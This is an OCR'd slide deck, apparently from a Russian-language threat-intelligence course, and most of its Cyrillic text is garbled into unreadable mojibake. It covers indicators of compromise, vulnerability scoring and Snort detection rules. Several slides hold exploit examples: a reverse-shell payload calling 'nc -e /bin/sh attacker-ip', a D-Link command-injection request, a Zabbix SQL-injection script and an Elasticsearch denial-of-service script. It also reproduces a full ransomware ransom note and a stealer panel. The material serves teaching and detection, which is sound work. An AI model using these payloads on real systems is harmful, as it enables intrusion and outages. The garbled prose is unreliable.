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Intelligence v

HanpaBsieHnsa knbeppassepnkmu

AHann3 BpeAoOHOCHOIo Koaa OTcneXnBaHne akTuBHocCcTn C2-
(Malware Analysis) cepBepoB
3HaHMe 06 ya3BMMOCTAX NccnepgoBaHme MapKeToB U
(Vulnerability Intelligence) dopymos B DarkNet

O6paboTka cobbITUIN N MHUNOEHTOB PaboTa c 601blUMMMN AAHHbIMU
6e3onacHoctu (Event Analysis) (Data Analytics)




Intelligence

CTpaTernyeckum

OnepaunoHHbIN
Kak n roe?

TakTn4eckum
yTOo?

[TIpnmep:

YKepTBamu ABMAOTCA MHOTME rno-
6anbHble NMPaBUTESNbCTBEHHbLIE OpraHmn3aLuu,
opraHusauumn B cdoepe obpasoBaHus, BbICOKMNX
TexHosnormm, dnuHaHcoB, doapmMaLeBTUNYECKOMN
" 0OOPOHHOW NPOMBILLUIIEHHOCTU, a TaKxXe
HEKOMMEpPYECKMEe opraHmn3aumm




Intelligence

CTpaTernyeckum
Kak 1 noyemy?

OnepaunoHHbIN

[TIpnumep:

icnonb3oBaHne NpuUnoXxeHum
TakTuyeckui KaydeCTBeE NMPOKCU CcepBeEpa

yTOo?




Intelligence

CTpaTernyeckum
Kak 1 noyemy?

OnepaunoHHbIN
Kak n roe?

TakTU4eckum rl_DI/IMe_DZ
628d4f33bd604203d25dbc6a5bb35b90,

googleService.exe,
PCIN\VEN_8OEE&DEV_ CAF



Threat Intelligence v

TakTuku, .
MEeTOonb KpawnHe cnoxHo

“ npoueaypsl

CnoxHo
CTpaTernyeckum
Kak 1 noyemy?

ApTtedakTbl ceTun / xocTa 3aTpyaHUTENbHO

OnepaunoHHbIN [loMeHHbIe MeHa HecnoxHo
Kak u roe?

IP-anpeca Ilerko

TakTn4yeckum
yT0? XaWw-3HaueHus OueHb nerko




of Compromise, loC

(Indicator of Compromise, l10C) — o6bekT
(MM aKTMBHOCTb), KOTOPbIN C 60/1bLLON A0J1eM BEPOATHOCTU YKAa3bIBAET HA
HEeCAHKLMOHUPOBAHHbIN A0CTYMN K cucteme (TO eCTb ee KOMMNPOMEeTaLMIO)

Hash — nocnepoBaTenbHOCTb CMMBOJIOB
PUNKCUPOBAHHOM AJINHDbI, MOJIYYEHHAA NyTEM
npeobpa3oBaHMNA MNPOMN3BOJIbHbIX MCXOAHbIX
NAHHbIX (UMcna, TekcTa, danaia n ap.) Nnpu
NMOMOLLM CrieunasibHOro MaTeMATNYeCcKoro
aIroOpNTMa, KOTOpas 0JHO3HAYHO COOTBETCTBYET
3TUM UCXO4HbIM AAHHbIM, HO HE NO3BOJIAET NX
BOCCTAHOBUTb

IP-address — yHMKa/IbHbIN aapec, KOTOPbIN
naeHTMduumMpyeT ycTponcTaso B MMHTepHeTe
NN JTIOKAJIbHON CeTH

Domain names (DNS) — yenoBeko-yntaemoe
nma pecypca B cetn. DNS — cncrtema
pa3pelleHnsa AOMEHHbIX UMeH, KoTopas
npeobpa3yeTt gomeH B IP-agpec n HaobopoT

URL-address — agpec, KoTopbin BblAaH
VHWUKaJZIbHOMY pecypcy B UHTepHeTe



MHANKATOPDI v

(" Reanalyze = Similar -~  More

c5966d12905046086aa8159de377465cee3504d1fTda5aced071d674bdce03 73 4 A s Dat

CNMCOK pacceinkun.docx 11.75 KB 29 days ago

docyx calls-wmi

(5f2be3087b58498fe140b6f3edfelebc)

(861118c¢8a32157349c1d3dc76e774c027c05433c¢)

(c5966d12905046086aa8159de377465cee3504d1f7dabaced071d674bdce0373)



AOCTOBbIE MHAUKATOPDI v

\ MDS: 054326241 6b4f584fc736608a33e3579 ) Intelligence @B 10Cs YARA File information Comments

~ N
LummasStealer

SHA256 hash: @ d441a4450e14fc230f4abbe8a7a5052b4e80425127 1ea2 1c4e88263b4710b437

SHA3-384 hash: [0 83dc843a2e6d20cee603fc0bd5a752d238ecob47d856bad418a765d5593e682a5dc72157221454c145221bed903d 1118
SHA1 hash: @ 7d7b350dd088d2d81fae480bff4cedadh283d1de

MD5 hash: @ 05432e2416b4f5a4fc7aeed8a33e3579

4 ) - -
LummaStealer
Intelligence € 10Cs YARA @D File information Comments
\_ M D5: 66d980d 44C51 C9 88087C4435d 5390475 ) SHA256 hash: [0 e8d2018203146038089e455a14ee2bb0fc67bccbdb1b132af000060ecc384445
SHA3-384 hash: 3fcc35de44036dc8bc5df49314b1ab3 54de201eff2fc820fe39f55b0c6bc2 1bdb8c341f11e197e543f9d384accfd 1c06
SHA1 hash: [0 b28943953c62¢e5daddfe3ce764db9308aa84b2a7

MD5 hash: 66d%9a0d44c51c98a087c4435d5390475




CeTeBble MHAMKATOPDI v

Domain name: 5000-rub-vtb[.Jru  °®

Besegurte Baw HomMep KapThl,
4yTobbI NnonyunTs 5000 py6 ot BTE

IP: 31.31.198[.]49

MpuHaTe yyacTue

Haxwuman «lMpuHaTe yuactuer, A npuHumMato Mpaeuna v

Tapudbl npepgocrasnenns ycnyru BTE Onnaind

© bawk BTB (MAO), 2007-2023. bark BTB ucnonesyer dannsi cookie ana M Ortpenenus n 6ankomats! &, KoHTtakTbl
nosbilwerua ynobcrea pabotel ¢ BTE OHnanH. B cookie cogeparca aaHHble

O NpowbiX NoceweHnax canTa.




— C

W G

Index of /server

Name

Last modified Size Description

tlinkpc.net.

(@cyberfeeddigest

é Parent Directory

[E_-E' 600 2024.exe
Dxuu

]2] 801.psl

@ 850.exe

e

o] 8888.exe

=3 3

:EJ Fzbkui.exe
) Get meta
@ Release.rar
@] x.psl

@ xhost.vbs

2024-03-19 14:58 70K
2024-06-14 11:36 32K
2024-02-07 17:49 835K
2024-10-07 08:03

2024-04-16 20:13 183K
2024-10-11 19:28 70K
2024-02-18 17:46 70K
2023-07-02 20:11 814K
2024-10-07 08:03 -
2024-03-04 12:10 2IM
2024-11-05 18:28 118M
2022-03-01 16:17 758K
2024-01-02 17:38 4.6K

Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at sirt.linkpc.net Port 443

XpaHeHue BI10O

3/10yMblLUIEHHUKA v

A\ Not secure  207,244,199.46

O 8 5000-rub-vtb.ru

=BTB

Beegute Baw Homep KapThl,
4yT06b1 NOoNyuuTs 5000 py6 ot BTE

Haxwuman «MpuHaTs yuacTuen, R npuHumato MNpasuna n

Tapudbl npegocrasnexns ycnyru BTE Onnaind

E)
Q

© Bank BTB (MAO), 2007-2023. bank BTB ucnonsayer dainsi cookie ana
nosbiwenuna ynobcrea pabotel ¢ BTE OHnawH. B cookie cogeprkatca aaHHbie

O NpouwbiX NoceweHnax canTa.

OULINHI [laHenb ynpaBneHna C2
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06 yaA3BUMOCTAX v

OApHMM 13 HanpaBJiIeHMU KubeppasBenku ABafeTcsa

C6op uHdpopmauum AHaNN3 yA3BUMOCTEMN Knaccudumkauma puckos YcTpaHeHue ya3BMMOCTeNn

=—1 D ==

& 155 = 1




cbopa nHpopmaunn

- cuctema cébopa n o6pabotku nupopmauum ob n
, Pe3ynbTaT paboTbl — aBTO3aBeAEHHbIE B CUCTEMY YNpaBJIeHUA
3343a4m YouTrack

bnoru
n TIr-kaHanbl

bronneteHn BeHAOPOB
N perynsaTtopos

| CepBuchl no coopy
GitHub-peno3utopumn 3KCMNIIOUTOB




YA3BUMOCTEN

— HepocCTaToK (cNabocTb) NPOrpaMMHOro cpeacTsa MU
MHPOPMALMOHHOMN CUCTEMbI B LLeJIOM, KOTOPbIM MOXKeT 6biTb UCNOJIb30BaHA
Ons 6e3onacHocTu HdOpPpMaAL UM

(Common Weakness Enumeration) — obwmnm 6be3onacHoOCTH

(Common Vulnerabilities and Exposures) — nepeyeHb ,
0bHapy>XeHHbIX B pa3/IMYHOM NpOrpaMMHoOM obecrneyeHmnm

NMpMepbl NICTOYHUKOB YA3BUMOCTEM:

¢ MexaHW3M ayTeHTUPUKALNK

 Mopayab 06paboTkn nepenaBaemMbixX NapameTpoB
* MexaHun3M 3arpy3km obHosseHnn MO



oueHMUBaHUA

aBsgeTcad cMcteMou
019 OLeHKN YA3BMMOCTEeNn

Ha AaHHbIM MOMEHT obLWenpuHATaA
n Hanbosiee nonynapHas
Bepcus

C KaXkaoun ya3BMMOCTbIO CBSI3aH
CVSS-BekTOp:
AV:*[AC:*/PR:*[UL:*/S:*[C:*[1:* [A*

MeTpuku:

Exploitability Metrics
Attack Vector (AV)*

Network (AV:N)  Adjacent Network (AV:A)  Local (AV:L)
Attack Complexity (AC)*

Low [AC:L) High (AC:H)
Privileges Required (PR)*

Mone (PR:N) Low (PR:L) High (PR:H)
User Interaction (UI)*

None (U:N)  Required (UL:R)
Scope (S)*

Unchanged (S:U) Changed (5:C)
Impact Metrics
Confidentiality Impact (C)*

Mone (C:M) Low (C:L) High (C:H)
Integrity Impact (1)*

Mone ([:N) Low (I:L) High (1:H)
Availability Impact (A)*

None (A:N) Low (A:L) High (A:H)

Physical (AV:P)



KPUTUUYHOCTM

[TOMMMO CUCTeMbl OLLleHMBAA CyLLLeCTBYIOT
NJ151 BCEX TUMOB YA3BMMOCTEN

YpoBeHb OueHka
OTcyTCcTBYET 0
Hnsknm 0.1-3.9
CpeaHnun 4.0-6.9
Bbicoknm 7.0-8.9

Kputnyeckmm 9.0-10.0



nporpamMmma, $parMeHT Koaa uam AaHHbIX, KOTOpble
npeaHa3HavYeHbl AJ19 UCNOJIb30BAaHUA OWMNOKKN Nan yA3SBUMOCTU B NPUJI0XKEHUH
WJIM ONnepaLoOHHOMN CUCTEMe

NMpuMep 3KCNNOUTA AN peann3aumm

POST /upload HTTP/1.1

Ho$t: 193.168.239.129

User-Agenft: python-requests/2.24.8

Acfept-Encoding: gzip, deflate

aclepts o= POST-3anpoc
Connectign: keep-alive

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZudgh

Content-Uength: 229

--49925cH7cca7aBef@cedc32d37617928
Content-04 o
Content-Type: text/x-python

KoHeuHbI agpec (endpoint)

import os
os.system("nc -e /bin/sh attacker-ip 4444"

[Tone3Hana Harpy3ka (payload)



— 3TO ans BO3MOXKHbIX
BpeAOHOCHbIX AenUcTBMN/1abnoHoB, aHOMAaJIbHOM AKTUBHOCTU U HapYLUEHUM
nonntuk. OHO oTBeyvaeT 3a noao3puUTeNIbHOro
cobbiTNA cpasy nocsie ob6Hapy>XeHus

AHanorunyHo IDS, paHHbIN KNACC pelleHnM YCTAaHABJIMBAGTCA HA NnepuMeTpe
33LMLLAEMON CeTU U UMEeeT CUTHATYPHbIU MoAy/b 06HApYy)XeHusa yrpos



— 3TO ONA MOHUTOPMUHIA, NO3BOIAIOLLEe
BO3MOXXHblIe BpeAOHOCHbIe AencTBMA/Wab/10Hbl, aBHOMAJIbHYIO
AKTUBHOCTb M HapyLIeHUA NoJIMTUK. OHO OTBeYaeT 3a reHepaLumio
ONOBELLEeHNU AJIA KAXKAO0ro nopospurtesibHoro cobbitna. Takue C31
YCTAHABJIMBAIOTCA ONA MOHUTOPUHIA
Bcero TpadmkKa, n BXoasfLLero, M UCXoafaLlLero

Hac 6ypeT uHTepecoBaThb :
OCHOBHOM €ro NpUHLMN 33aKJ1IID4YaeTCA B CONOCTAaBJ/IEHUMU NATTEPHOB,
3aJ10)KeHHbIX B C3U ¢ TeMu, KoTopble MOoryT 6biTb 06Hapy>XeHbl B CeTEeBOM
Tpaduke



o

C3U
N§)) bl JFWHW
CISCO ) (=)
Infotecs CiISCO Infotecs
ViPNet IDS NS Secure IPS (NGIPS) ViPNet xFirewall 5

ViPNet Coordinator HW 5



Open source pelleHUA

[ToMMMO BEHA,0PCKMX CPEACTB 3aLlLUTbI CYLLEeCTBYIOT OTKPbITbie NPOEeKTbl
Snort m Suricata

Y /|
SURICATA




CTpyKTYpa NnpaBuJa

Aencreue MNMpotokon MUCToYHUK MMosayyaTenb NeTeKTUpYIoLWaaA YacTb —

-

alert tcp any any -> $HOME MNET $HTTP PORTS ( :"AM EXPLOIT Confluence Data Center < v8.9.1 & Confluence Server <
v8.5.9 RCE var 1 {EUE—EEE#—Elﬁsﬁn”; :established,to server; - "POST™; -4 :"/rest/api/content”™;
'"|12|title|¢h
IEPdrEI ";

torage|22|";

; 2 |representation|22]|™;
:"frEEtfapifcnntent"; fast pattern:only; :isset,AM.Generic.command injection;
:url,github. com/re@t7oo02jm/-CVE-2824-21683-RCE-in-Contluence-Data-Center-and-5erver; Cve,2824-
:web-application-attack; 3202881 ; - 3: : affected asset dst, aftfected os any,
atfected product atlassian:confluence data center, atfected product atlassian:confluence server, affected vendor

atlassian, attack target Server, attack target Web Server, T1198, TABEGB1, tias category Exploitation;)




CTpyKTYpa NnpaBuJa

Aencreue MNMpotokon MUCToYHUK MMosayyaTenb NeTeKTUPYIOLWaA YacTb —

drop http any any -> $HOME NET any (
var 1 (CVE-2624-21683)"; :established,to server; :"POST™;
; http.request body; 22| title|22]|”; " |22 | type|22|”;
:" 22| key|22|"; :0; :" |22 |body|22

|||_
X
. |||_

X

X
T - _ W m o
:"|22|storage|22|";

:isset,AM.Generic.command injection;

2
:"|22|value|22]"; :" |22 | representation|2
:url,github. com/re@t7o02jm/-CVE-2624-21683-RC

21683 ; :web-application-attack; 13292361 ; 24 ; : aftfected asset dst, affected os any,

affected product atlassian:confluence data center, affected product atlassian:confluence server, affected vendor
atlassian, attack target Server, attack target Web Server, T1196, TA@BB1, tias category Exploitation;)

2
E-in-Confluence-Data-Center-and-Server; Cve,2824-




Execution

1KCVE-2024-10914 Detail
MODIFIED

This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require
amendment due to these changes.

Description

Avulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been declared as critical. Affected by
this vulnerability is the function cgi_user_add of the file /cgi-bin/account_mgr.cgi?zcmd=cgi_user_add. The manipulation of the argument
name leads to os command injection. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation
appears to be difficult. The exploit has been disclosed to the public and may be used.

curl "http://<Target-IP>/cgi-
bin/account _mgr.cgi?cmd=cgi user_ add&name=2%
27 ;echo%20McOCa; %27"

OnucaHue ya3BMuMOCTH
NVD NIST

NpumMmep
3KCNJIOUTA



Execution

GET /cgi-bin/account mgr.cgi?cmd=cgi user add&name=%27;echo®28Mc@Ca;%27 HTTP/1.1
Host: 192.168.52.128

User-Agent: curl/8.5.@ CeTeBoM Tpad)MK

Accept: */#

alert tcp any any -> $HOME NET $HTTP _PORTS (msg:"AM EXPLOIT D-Link NAS devices RCE (CVE-2024-18914)";
:established,to server; - "GET"; 13 :"fcgi-bin/account_mgr.cgi|3f]|"; 3
:"cmd | 3d ]| ”; : -8; :"cgi_user add”; : -8; :"name |3d|™;
:"/cgi-binfaccount _mgr.cgi|3f|"; fast_pattern:only; :isset,AM.Generic.command injection;
1Ccve, 2824-18914 ; :url,netsecfish.notion.site/Command-Injection-Vulnerability-in-name-parameter-for-

D-Link-NAS-12d6b683e67c88c49+Hfcc09214c230a07; :web-application-attack; :3369438; 12 :
affected asset dst, affected os Unix, affected product dlink:dns-328, aftfected product dlink:dns-328 firmware,
affected product dlink:dns-3281lw, affected product dlink:dns-328lw firmware, affected product dlink:dns-325,
affected product dlink:dns-325 firmware, affected product dlink:dns-3481, affected product dlink:dns-3481 firmware,
atfected vendor dlink, attack target Server, attack target Web Server, T119a, TABB@1, tias category
Exploitation;)

NMpaBunao Snort



-Injection

AKCVE-2024-42327 Detail

Description OnucaHue ya3BMMOCTH

A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives APl access can exploit this NVD N IST
vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function

which is available for every user who has API access.

def test _sqli(target, auth_token):
"""Test the target for SQL injection vulnerability."""
url = f"{target.rstrip('/')}/api_jsonrpc.php"
user_data = {
"jsonrpc": "2.0",
"method": "user.get",
"params”: {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"1, anMep
"userids": ["1", "2"]
A
Vs, 3KCNJIOUTA
"auth": auth_token

start_time = time.perf_counter()
response = requests.post(url, json=user_ data, headers=HEADERS)

response.raise_ for_ status()
elapsed _time = time.perf counter() - start time




-injection

POST /fapi_jsonrpc.php HTTR/1.1
Host: 192.168.189.138

User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*

Connection: keep-alive CeTeBoﬁ Tpad)MK
Content-Type: application/json
Content-Length: 183

1"jsonrpc™: "2.8", "method™: "user.get”, "params”: {"selectRole”: ["roleid”, "name”, "type"
, "readonly AND (SELECT(SLEEP(5)))"], "userids™: ["1", "2"]}, "id": 1, "auth™: "TEST TOKEN"

NMpasuno Snort

alert tcp $EXTERNAL MET any -> $HOME_NET $HTTP_PORTS (msg:"AM EXPLOIT Zabbix v6.8.8 - v7.8.8 SQLi (CVE-2024-42327)";
:established,to server; - "POST"; 14 :"fapi_jsonrpc.php”; ; :"|22|method|22|";
|22 |user.get|22]|"; H :8; :"|22|params|22]|";

H “|22|selectRole|22|"; 3 :0; :"fapi_jsonrpc.php”;
fast_pattern:only; :isset,AM.Generic.sqli; Cve,2824-42327; :url,github.com/compréet,/CVE-
2824-42327; url,support.zabbix.com/browse/ZBX-25623; :web-application-attack; 3313776, =2

atfected asset dst, affected os any, aftfected product zabbix:zabbix, affected vendor zabbix, attack target
DB Server, attack target Server, attack target Web Server, T1198, TABBO1l, tias category Exploitation;)

"
.




Overflow

AXCVE-2023-31419 Detail
MODIFIED

es_url = "http://localhost:9200°'
index_name = **'

payload = "/*" * 10000 + "\\" +"'"

verify_ssl = False

This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data
‘elastic’
supplied by the NVD may require amendment due to these changes. EZ:;:ZTE -ihzig;;e'

auth = (username, password)

Current Description nun_queries = 100
A flaw was discovered in Elasticsearch, affecting the _search API that allowed a specially crafted query for _ in range(num_queries): _ , B . _ _

symbols = ''.join(random.choice(string.ascii_letters + string.digits + '*') for _ in range(5000))
string to cause a Stack Overflow and ultimately a Denial of Service. search_query = {

Uqueryll: {
"match”: {
"message”: (symbols * 9080) + payload
}

OnuncaHuve ya3sBMMOCTHU :
NVD N IST print(f"Query {_ + 1} - Search Query:")

search_endpoint = f'{es_url}/{index_name}/ search'
response = requests.get(search_endpoint, json=search_query, verify=verify ssl, auth=auth)

NMpuMep 3KcnNOUTA



Overflow

GET /*/ search HTTP/1.1 5
Host: 192.168.186.138

User-Agent: python-requests/2.31.8

Accept-Encoding: gzip, deflate, br, zstd

Accept: */*

Connection: keep-alive

Content-Length: 45821838

Content-Type: application/json

Authorization: Basic ZWxhc3RpY¥zpjaGFuZ2VtZQ==

{"query™: {"match™: {“"message": “1VCKd2NFBgnWKHiYPnDalXkwFQoPrlpAStlslvag8idES3rkWkytfUGCvBcoobalb3R7UaNBpScugEnvelLDnQb"FZ"jOweeX]1AqYSaochl2Wgbrukz AGTSIt6EBELgMY
291vkGdNBzfDjYhsBk ywivTbmDIZVceeZkpYCvdVAUS1EQ4DyBx " bATGbXud77FbTdGah*yCXmT Bxmx3R1rQ6 i DHkUIwWI n jAnSTVKFbXxTAYvKLdS4w7wX9ludMT RXurAPDxOroPkFed zERNY ke cXCARKT7NA2
PpSVdLhxp@KR7K7etZRbgTQU1Z14"pbaEy TKREKWRCyh JbEEX y¥Q2~hLT8Xp7IeXebv3 7z~ SNTDUSE3GZMLNR3RvEnaXe0bIFVvS~ygkil 7KzeNaj 7qlyodeqnbIBUBMwWXiPBoSTATS1TOIF17iYGoplCcbd

\ 4
kgQrOAZWg “WgnzE5176jXU@9pZh2fivwHE0B~Z thsN~uHyNnMX1s3zKFfgBLy ctG7FBoRRREEME7dUCACED1XdbsEe TULKAZL jvzc FNMjkSCMYm18c thwfkQafULFTEE1acBA7 IWOBMVEYUFH111VSZcEQdUHh CeTe Bo M Tpa ¢ M K

ckQexSdhxBvowknXoRd9c4Rk99tENJeQ59aBBTQ7 xtgn 3 TFWHLOS L BmAqWAA0N0Beb 2 LdsYNGQD1Gs KX4W7 tseBwllzpZblk2dyKD*5X5tP7k50hKUmFHC KDPGkrgLFBLRObhXz rLBE2s8Y " "WZXGL1y35V9I2w
TMEBKUFBBrAAYFACcTkyxCMeEXT JAEVhFVjFwhivae1lcP23dxGETuBg8wkKArRrtacRbbVNj1pcH  Zv)S THWSBLYSNXc KPZHS i EF TdwT KnnkMge97k1D2qw20BATvS 2vrfainwRAGbhS jGhwgSk2HWE 3 AT THKMFp T
Bk8ZTo3xTYykdkLF7Xpvgmg58va7 S hPDDIxnUSKoAQSFnOANABBARCMMYMlweMIKIgHX BT OmGqKBogK 9y zo Lwy VxiVTOMFSddRy sQUy 31 g4n 7wy zxry@8Z LSEd "MKZ5 XL TednHkiuVv1ARHT bYZ3TD1GIWEF IGV
aMFDVeDFa7127HX4mEVE sSHMOHT SHWEx Qv zGsHyuxCMMNEHRNUT JvzUdP1CTFUxAU " mUED T NQq I 6aheQ@q Kk GMLTA0rWr jPbzRD1x0 d 205UV r4T 10T c *ZLNy cavgexhA3giQecwY TqM2dpaMog ™~ Z1112He Bv
cRnfU@3Ua20oayDfxAQdSkLLEF 2CaNzNSYLKImIyPOVMEDQXBuTd1ReqDakCht 2CNQUwWEY JUBLiIBYitq02AeTIGvIhzxsKMCls 7 rw3AvigalIbagHkbzvd IUREBV]1zUxQZ0NbEZBQrKZo8KZYgegVWKgIoj2oggr
k2U35XH004pLIP1]Gx"1s2k69cOmBR IWT BGMwWLSUMGaWY BNKauw3wgg2rmY@EYF sRBOhgTF 1 fMfw" riw3mY JHVQ3 rgXulwn jCA I jOmX2 TwkFréwoYb51Crj1hFDze0sThWioI TWUKLbAEzx1njs6EWTATNrNS WO
KisrotylUyIoocoleFoZFrurtaWeHRLTEQIFR1IrEpmIszZ80qoLlcQlkoZe35hq9kXFOTI6EluzMDPe?PRIZvu7 7 jVE1xXM3IaixkLUYELC7alatU7tNzxNgIWe " Bes41g26Buga fum7gq “UUkIBaHAEOY3plopleSg
YUx3EIsz3dH1Q714T5tErreaDtZ zq2F3Zack3sCGtL9006NC JEtIm3MrMVr ZeNdg9YDLedFnwz cyiql@1lKYrvzVRNa69 R1lpnSh7sEZIs271c I ddYSuLI4fyuX9f1R2FVuln*D1W"tq3 JHx4EmMDB cXiVZ17tF10
3nc35wj2N3wd t@ZmBEFVpHBMTVMIIZShZgFfCtOnxaSrPri8E7YsNU14cGNGUHUTRywkhiDKSSp6sKeDoJEHT4juNEQPc~113360mL jUKXE4r4uhNnWCyc IpBQBa0zVhPOHYAT7 zgMskFNI4AF01ZbeCgX8vhP3 rme
Enyx909HDvEbeCj52DL 7D 11 cplRew36EU1iQ1jgilZeZwIz¥I1DIzB2rmEoy4Rk7ImK24No I PwBE T4PSEPZFSBoaQklooQeBkdo3udwmBHTyiWToSEEPbENX4AHSBKo " X5 3YBIWSEcF 2o0mGDovkS ThSgwuSX kD
HcopF3zplxsPaxl™IntFDzgaSIYgndatzLrIhSMgpRNhz1CFXaVicCdEF 3Ywl 28VAGY UroKd 9MW7 bxQH1RIBGkTIMTkaFs1MjLnL2gnVSxdSHK 3 zhIRHAaTha7bkkKvbidhANx " ¥MOx1tHDpTuJBRooPwwIwPaIsE
tF3IMBe@rniaiskbew™ JUVPFdcNhtABHEvp7XKXvTnrgPzntWuyom&JuBe7J112Enevdvu2d jmpgHgVAs aDOvNErWRY I JKvIAXEXtwL Q41 pmk SNG4k XBuqrkIXzZiTDg Ip4 I8yemF fwIJZquPyc OWPK7Fqut2Lsjb
p35zalRn"*mahvaTQeaatrEouaswANne@kKDcekmd Ot tBCdT0g ayMhe6DDsK jHwkn TPvowa jNpsVoBWHAWNHBDS ki XrFKT 3Cr~ 1 YwO0WIh9EP591yFiaMBwe F It inddCgwC 1WThHYEHyrMnSD1IP9a@"X3dHZvalg

alert tcp any any -> $HOME NET [$HTTP PORTS,92080] ( :"AM EXPLOIT Possible Elastic

Buffer Overflow (CVE-2823-31419)"; :established,to server; = "GET";

22 |query|22|"; 3 :"|22 |match|22]";

22 |message|22|"; : :2: - 4996, relative; cve,2823-31419;
:url,github. com/sqrtZeroknowledge/Elasticsearch-Exploit-CVE-2823-31419; :attempted-dos; 13244384 ;

= 3: : aftfected asset dst, affected os any, affected product elastic:elasticsearch, affected vendor elastic,

atfected vendor elasticsearch, attack target Web Server, T1196, TABBE1, tias category Exploitation;)

NMpasuno Snort



XocCTOBble
MHAMNKATOPbI aTak




BlMO

Bupyc (Virus) / Yepsb (Worm)
bakaop (Backdoor) / Remote Access Trojan (RAT) / UmnnanT (Implant)
Remote Admin Tool (RAT)
TposH (Trojan):
NMporpamma-sbiMoratens / LUndposanblumk (Ransomware)
3arpy3uunk (Downloader) / Aponnep (Dropper)
Ctunnep (Stealer)
LLinnoH (Spyware)
BaHkep (Banker)
ManHep (Miner)
PeknamHoe MO (Adware) (HexxenatenbHoe M0O)
BoTHeT (Botnet):
BoT, AreHT (Bot, Agent)
PytknT (Rootkit):
ByTkunT (Bootkit)
dkcnaonT (Exploit)

BpedoHOCHAs npo2pamMma Moxcem BKJ/1H04amp 8 cebs pYHKUUOHA/IbHbIE BO3MOXCHOCMU PA3/IUYHbIX K/1ACCOB



Backdoor

C&C
server

Once installed, the
backdoor checks which port
is allowed to access the

C&C server

Firewall

Local DNS

server

Attacker sends a
backdoortoa
target system

POST /init HTTP/1.1

Host: 45.87.245.53:8@
User-Agent: GRequests/@.10
Content-Length: 228
Content-Type: application/json
Accept-Encoding: gzip

Cusi” I - 14=v<": TS, "Dors: " : M
Ip":" I . FuoblicIp": " 0" : "windows 386","Interval”:S}HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8

Content-Length: 72

Asgent (NG . o connected successfully!POST /check HTTP/1.1

Host: 45.87.245.53:80
User-Agent: GRequests/0.10
Content-Length: 36
Content-Type: application/json
Accept-Encoding: gzip




Ransomware

1. KpaXka AaHHbIX

2. JlecTpyKTMBHOE BO34eNCTBUE, LWULMPPOBAHME

3. TpeboBaHue BblKyMna 33 UHPOPMALMIO

ran

D dd_vcredistM5I32BF bt id[HIZm W[t me_secles1bot].seclesd
D dd_vcredistU132BF bt id[HIZmWif].[t.me_seclesTbot].secles2
D del1Ccash.crd.id[HiZmjWff].[t.me_seclesTbot].secles2

D printers.reg.d[HiZmjWff].[t.me_secles1bot].seclesd

D pADCMNoskr

D zabbix_agentd.confad[HiZm)Wff].[t.me_secles1bot].secles2

D zabbix_agentd.log.id[HiZmjWff].[t.me_secles1bot].secles2

D zabbix_agentd.log.oldad[HiZmWff].[t.me_seclesTbot].seclesd

JaTta n3meHeHKA

21.09.2024 5:31
21.09.2024 531
21.09.2024 531
21.09.2024 531
21.09.2024 12:13
21.09.2024 531
21.09.2024 531
21.09.2024 531

Twn

Main
Tain
Tain
ain
Tain
Main
Taiin

Tann

"SECLES2"
"SECLES2"
"SECLES2"
"SECLES2"

"SECLES2"
"SECLES2"
"SECLES2"

Pasmep

389 Kb
344 Kb
2 Kb

1 KB

0 Kb

11 Kb
319 Kb
1025 KB

v

E ReadMe.tct — BrokHoT — O %

®aiin Mpaeka Qopmar Bug  Cnpaeka

to recover your data install telegram messenger at @secleslbot ( https://t.me/secleslbot ) (ENTER EXACT ID , avoid fake similar ids made by unknown pe
if for any reason bot is not available you can find link and id of new bot at our onion site
2kksm7oobarkoedfnkihgsa2qdvfgwvrdpdfurcsopummgsSy37s6ébid.onion

you will need to install tor browser for onion sites ( https://www.torproject.org/download/ ) you dont need to install tor if our telegram bot is worl
most of the time you can open link in normal browser using proxies adding .ly to the end of url : 2kksm7oobarkoedfnkihgsa2qdvfgwvrdpdfurcsopummgs5y37:

FREFFFEEHEEEE
please be careful , some unknown people have made similar telegram ids and bots , looking like ours to get money from you , they dont have access to |
our id is @secles2bot now and if banned you can find our new id in the written onion site

T IIMPORTANT 1!!

ENTER EXACT TELEGRAM ID CHAR BY CHAR AND AVOID SIMILAR IDS, otherwise you will be SCAMMED (you can paste https://t.me/secleslbot in your telegram save
FREFEFEEEEEEEET

you id is : Yy4TuuIA

you will get two sample decryption (decoding) before any payment for free ,we give sample or screenshot of sample decrypted , any describtion of

this is strong ransomware, any day you waste without paying is one business day you waste

our price is reasonable,the wasted days will cost you more

some notes:
1-although illegal and bad but this is business,you are our client after infection and we will treat you respectfully like a client

2-do not delete files at c:\secles2 , if you want to reinstall windows take a backup of the folder (dont waste time trying to get anything out of ther
3-do not play with encrypted file, take a backup if you want to waste some time playing with them

A4-if wou take a middleman do deal with us directly , take one with good reputation ,we always provide decryptor after payment and only ask for one pay
5-police can't help you , we are experienced hackers and we don't leave footprints behind , even if we did police wont risk thier million dollar worth
6-if some of your files don't have our extension but do not open ,they are encrypted all other files and will decrypt normally ,they just hawe not bee

S5-some unknown scammers on youtube claim to decrypt our encrypted file (they even made fake telegram channel for us and all other major ransomware gre
TO PREVENT this we MARK our test files so_they can't abuse it ,they can only give you describtion of file conents




Stealer/Spyware

System build details
Computer name
CPUdetails

Execute path

Geo

GPU

Hardware ID details
Public IP

OSdetails
RAMdetails

Screen Resolution details
Screenshot

Time

TimeZone

Username

g

-

2 MEDUZA CORP 2,

¥ oV g
. LoMedula Stealer 2. Nporpasausioe obecnewenme A0n CHOPS MEPCOMANE MBI NN

[ Username: Meduzo

Subscription Expires: 12072031
UTC+0:00

Telegrom Dot api token

1\ Npesicaccogeos ofimonneiee Meduza stealer 2.2 | 10
aywros§y

Meped Mot 2024 1OA0M xOMds s MedUZd PeastAd NOPALORI Ty
NOALIODATENEN HOOLM OCHOBASMINEM. Y MAC NOA SNEoW! D
MOSETE MAFTA Ta0e NOAMER, ax Dty Danod Tewn

MOSAMLIIC 0N NN DMTDYINE W DL e ofwexron cCopa

o Vimenenn 8 Grage

